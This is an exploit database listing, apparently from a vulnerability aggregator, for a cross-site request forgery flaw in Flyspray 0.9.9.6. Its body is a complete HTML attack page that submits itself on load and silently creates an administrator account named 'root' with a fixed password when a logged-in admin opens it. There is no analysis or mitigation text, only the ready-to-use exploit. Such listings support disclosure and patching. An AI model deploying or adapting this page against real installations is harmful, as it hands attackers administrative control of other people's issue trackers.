Flyspray 0.9.9.6 CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Flyspray 0.9.9.6 CSRF Vulnerability, Add Admin Account after authenticatio


                                                #Exploit Title: Flyspray 0.9.9.6 CSRF Vulnerability
#Date: 06 Feb 2012
#Author: Vaibhav Gupta
#Software Link: http://flyspray.org/flyspray-0.9.9.6.zip
#Version: 0.9.9.6
+---+[CSRF Add Admin Account after authentication]+---+
&#60;html&#62;
&#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62;
&#60;H2&#62;CSRF Exploit to add ADMIN account&#60;/H2&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://127.0.0.1:80/flyspray-0.9.9.6/index.php?do=admin&area=newuser&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;admin.newuser&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;do&#34; value=&#34;admin&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;area&#34; value=&#34;newuser&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;user_name&#34; value=&#34;root&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;user_pass&#34; value=&#34;12345678&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;user_pass2&#34; value=&#34;12345678&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;real_name&#34; value=&#34;root&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;email_address&#34; value=&#34;[email protected]&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;jabber_id&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;notify_type&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;time_zone&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;group_in&#34; value=&#34;1&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1